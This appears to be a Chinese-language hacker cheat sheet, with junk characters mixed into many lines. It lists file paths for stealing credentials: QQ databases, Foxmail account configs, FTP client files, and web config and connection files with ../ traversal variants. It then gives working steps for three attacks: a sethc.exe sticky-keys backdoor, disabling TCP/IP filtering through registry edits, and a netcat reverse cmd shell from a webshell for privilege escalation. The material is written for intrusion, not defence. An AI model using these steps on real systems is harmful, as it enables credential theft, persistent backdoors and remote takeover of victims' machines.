C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
; p& v) J" |* S/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
) R. @! l2 R: p, Tc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
* p1 e7 @. }: a6 N$ q( Cc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
* }1 Q  ]& ?: k# |5 Y  B$ ]$ mc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
) g& ~3 {4 s2 R1 z/ Hc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
4 T9 p3 W  G8 L! l5 x, @C:\Program Files\Foxmal\accounts.cfg
, r0 L% z5 ?0 I0 L  r) O# |8 E. BC:\Program Files\tencent\Foxmal\Foxmail.exe
3 \8 b( V- S. U) EC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
1 y. D# S) H: u  ?' z7 ^/ oC:\Program Files\LeapFTP\LeapFTP.exe
; F6 W, J/ n2 a$ C5 E6 f; M9 uc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
8 ?, k9 }. U* Y7 b9 ~  E# q" }, W# ic:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
  A3 q- D  T7 C5 r6 }& O3 oc:\Program Files\腾讯游戏\QQGAME\readme.txt
: l3 K8 W8 c% ]3 c* N" yc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
$ ^; J8 Q0 x" u' u8 @9 }c:\Program Files\tencent\QQGAME\readme.txt
# J  K5 _- @1 @C:\Program Files\StormII\Storm.exe

3 G' s; n& v- g) N- _+ x9 C/ D; U3.网站相对路径:

/config.php
1 Z: i3 t; ?0 C1 L1 K& t+ b7 Y../../config.php
../config.php
0 \9 M- M# [! \0 ~- X( _$ l../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
: K- B( f. M  ]4 n4 \../../../config.inc.php
* L$ O. \( b+ N8 W6 O5 t/conn.php
./conn.php
../../conn.php
9 U/ p, g$ m8 k/ x; [../conn.php
, u$ A2 I; o7 g! r0 p../../../conn.php
/conn.asp
& M5 d/ k( H6 r3 q8 f$ [0 g0 @  \./conn.asp
../../conn.asp
& D4 X* @4 h" s/ Y../conn.asp
../../../conn.asp
& ?1 l6 [0 p; W2 n1 q/config.inc.php
./config.inc.php
9 y& h' {3 k, ]+ l# ]../../config.inc.php
../config.inc.php
../../../config.inc.php
2 p5 o& Y- z2 u' O/config/config.php
../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
$ J+ f) g2 e3 |. r" n, ]./config/config.inc.php
) d/ f: B2 ^% |! b../../config/config.inc.php
3 V& Q7 n# o# P8 m../config/config.inc.php
8 t, h- r9 Y) e+ K) @6 M$ Q4 F../../../config/config.inc.php
% _/ k  e3 B3 e8 c* {% g' l/config/conn.php
3 w8 M, Y9 W$ w: @: Q) }) e./config/conn.php
/ Z9 n- a  Z- F& r../../config/conn.php
5 Z. V1 w. o. i$ v7 z../config/conn.php
+ `5 _2 R' O2 o../../../config/conn.php
/config/conn.asp
# c, ^: _- _6 C5 v, }./config/conn.asp
../../config/conn.asp
+ z2 s0 s$ [6 W/ d../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
/ Y- ~# O) f2 s4 D4 K+ E& w0 W./config/config.inc.php
../../config/config.inc.php
( C7 V/ K0 j$ v9 d* Q$ l  S../config/config.inc.php
../../../config/config.inc.php
& }: \4 G, S6 W" ^) B" J7 @9 K/data/config.php
/ \9 e; g% ^) z: j! J' T$ E# k- c) B../../data/config.php
/ }$ d2 F3 }+ @. m8 R! y3 X8 B../data/config.php
../../../data/config.php
/data/config.inc.php
% }( h% ?& z$ j5 g, N8 x* e+ E2 s./data/config.inc.php
* J6 e. t# _* K3 Z& n../../data/config.inc.php
2 s( `. Z$ r! N/ N6 {: O../data/config.inc.php
: M3 ?; D) _0 m$ e4 q4 }. _. [../../../data/config.inc.php
3 B# ~+ V! \0 g- I+ v/data/conn.php
1 x' Z! t, \' n( M+ i& l% I./data/conn.php
../../data/conn.php
../data/conn.php
, n0 W3 {2 U( N# k../../../data/conn.php
# S$ e% o& r- q6 X6 M/data/conn.asp
+ |& [( A) g0 }& I' n./data/conn.asp
3 u5 R/ O% h" ~5 y1 Y- v6 I../../data/conn.asp
# H! L% d: C+ c, J  ?: t../data/conn.asp
../../../data/conn.asp
* r" i0 f/ I7 C3 D) d  ~) P; D: A/data/config.inc.php
./data/config.inc.php
+ s7 f/ \- s1 T9 s. H* A  p7 l% ~../../data/config.inc.php
../data/config.inc.php
/ N: }3 ]) ~# [! g, c. \9 c1 a../../../data/config.inc.php
; i9 Q& m3 J5 Q: T! ^/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
$ R8 @& `3 H& \. t8 y# Y/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
; H, ^5 h5 u% m8 t+ ~1 v2 G/ V../include/config.inc.php
../../../include/config.inc.php
7 O& j9 M% G! L$ p/include/conn.php
./include/conn.php
9 s- M1 z% L- N6 U8 K) N: K1 U../../include/conn.php
../include/conn.php
../../../include/conn.php
( ^, ~+ e) v- F) s: ]( |' h: V/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
; ?& y, a5 x1 E) ^2 L: \../../include/config.inc.php
2 T  i1 ~3 M/ u2 X../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
../../inc/config.php
../inc/config.php
" t9 @0 |5 {7 \. z( |../../../inc/config.php
( L# l$ }$ D& |. s- n# R3 f/inc/config.inc.php
2 k% D  \7 j- ~. [1 r8 \./inc/config.inc.php
../../inc/config.inc.php
9 l, y2 t% E% T* R; N% p% D../inc/config.inc.php
* @0 o- z$ h8 u* u6 o/ H../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
' o' }% S6 O7 ]1 C: v/ j& a/inc/conn.asp
8 t' @5 n  x% ^/ i9 \./inc/conn.asp
3 w5 ~: s5 N% d$ b4 p# v  U8 V  ^../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
( P% L& w3 {, H4 T3 C" \( x/inc/config.inc.php
% M0 _8 \1 m- w! `9 ]7 v% h./inc/config.inc.php
8 q5 d1 p( l" D; P1 ~0 }" F../../inc/config.inc.php
../inc/config.inc.php
, e6 V( V. ?+ [; w+ b1 u0 s5 J../../../inc/config.inc.php
/index.php
) T( \0 }& d0 j./index.php
0 G0 `# E/ |. [  l) T../../index.php
../index.php
5 O  v9 c. @; a" Q. t, ?../../../index.php
/index.asp
$ P5 _6 g* D' ~: s- W./index.asp
../../index.asp
8 l& {9 W: `4 a% N../index.asp
- m  Y) A4 J6 w( j../../../index.asp
* J) z9 ^" L. T5 k( D, p0 |- F' q" s替换SHIFT后门
1 v+ @3 {" V  ~. D. P0 l) @　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

# r  ]1 c% c' J& E+ h& O* J1 o　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
7 \( }6 }8 ^% s3 C& W# f6 D
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

2 F6 v0 j" ~  ^5 K0 o* e2 w　　attrib c:\windows\system32\sethc.exe +h +r +s
  J6 q4 S( d. ~. h! ~
3 @+ K  D) h4 ~: w. d  Y: {　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
7 S9 E! c% c3 }  R去除TCPIP筛选
! w5 y7 W0 n  l! T* `2 i3 X8 Q4 Q( UTCP/IP筛选在注册表里有三处，分别是：
7 I9 H; a. F! w1 n( x7 eHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
: u6 s% U0 a, y5 _) [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( C: B' p* Y' @6 `
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
6 O$ j' \6 g. S+ f/ Aregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
/ J# N" G; d  V* l; f' F) K: `命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
8 [% ?  m; B$ r( D. B
再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

/ S. K+ R4 g4 J  d2 O4 awebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
nc也在同目录下
/ t) T; N- @. Z* J5 O例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
1 _! Y  a( m% C1 O0 S4 g3 b6 n通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
/ p0 }" a7 I% O) _! _命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
) i" g  u0 `3 g7 [/ T  @$ ~我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功